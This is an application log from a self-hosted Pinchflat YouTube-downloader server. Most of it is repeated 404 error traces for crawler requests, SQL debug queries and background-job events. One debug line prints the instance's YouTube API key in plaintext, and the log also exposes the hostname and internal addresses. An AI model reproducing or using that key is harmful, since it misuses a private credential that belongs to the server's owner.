PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-f (truncated) 16:54:00.420 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:02.123 [info] GET /sources/1/media/1577899/force_download 16:54:02.124 [debug] QUERY OK source="settings" db=0.1ms idle=1704.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:02.124 [debug] QUERY OK source="settings" db=0.0ms idle=777.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:02.124 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:54:02.124 [error] #PID<0.30034.0> running PinchflatWeb.Endpoint (connection #PID<0.30033.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/media/1577899/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/1577899/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30033.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1577899/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56188}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30034.0>, params: %{}, path_info: ["sources", "1", "media", "1577899", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/1/media/1577899/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz7Gkp6c22Y2EoABxTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30033.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1577899/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56188}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/1577899/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30033.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/1577899/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56188}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30034.0>, params: %{}, path_info: ["sources", "1", "media", "1577899", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded- (truncated) 16:54:10.657 [info] GET /sources/45/media/1577891/force_download 16:54:10.657 [debug] QUERY OK source="settings" db=0.1ms idle=1310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:10.657 [debug] QUERY OK source="settings" db=0.0ms idle=1310.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:10.657 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:54:10.658 [error] #PID<0.30036.0> running PinchflatWeb.Endpoint (connection #PID<0.30035.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/45/media/1577891/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/media/1577891/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30035.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/media/1577891/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 39482}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30036.0>, params: %{}, path_info: ["sources", "45", "media", "1577891", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/45/media/1577891/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz7HEcc6mkMAzgABxUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30035.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/media/1577891/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 39482}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/media/1577891/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30035.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/media/1577891/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 39482}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30036.0>, params: %{}, path_info: ["sources", "45", "media", "1577891", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-f (truncated) 16:54:15.300 [info] {"source":"oban","duration":7094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:21.923 [info] GET /sources/37/media/1577898/force_download 16:54:21.924 [debug] QUERY OK source="settings" db=0.1ms idle=1577.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:21.924 [debug] QUERY OK source="settings" db=0.0ms idle=1577.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:21.924 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:54:21.924 [error] #PID<0.30042.0> running PinchflatWeb.Endpoint (connection #PID<0.30041.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/37/media/1577898/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/37/media/1577898/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30041.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/37/media/1577898/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 46086}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30042.0>, params: %{}, path_info: ["sources", "37", "media", "1577898", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/37/media/1577898/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz7Huak4iyjixEABxVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30041.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/37/media/1577898/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 46086}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/37/media/1577898/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30041.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/37/media/1577898/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 46086}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30042.0>, params: %{}, path_info: ["sources", "37", "media", "1577898", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-f (truncated) 16:54:24.429 [info] {"args":{"id":13},"id":5268292,"meta":{},"system_time":1791582864429159609,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:24.429 [debug] QUERY OK source="sources" db=0.1ms idle=1082.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:54:24.429 [debug] QUERY OK source="settings" db=0.0ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:24.429 [debug] QUERY OK source="media_profiles" db=0.1ms idle=82.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:54:24.431 [debug] QUERY OK source="settings" db=1.9ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:24.431 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:54:24.432 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:54:24.432 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:54:24.765 [debug] QUERY OK source="media_items" db=0.6ms idle=335.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 16:54:24.766 [debug] QUERY OK source="media_items" db=0.2ms idle=336.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN 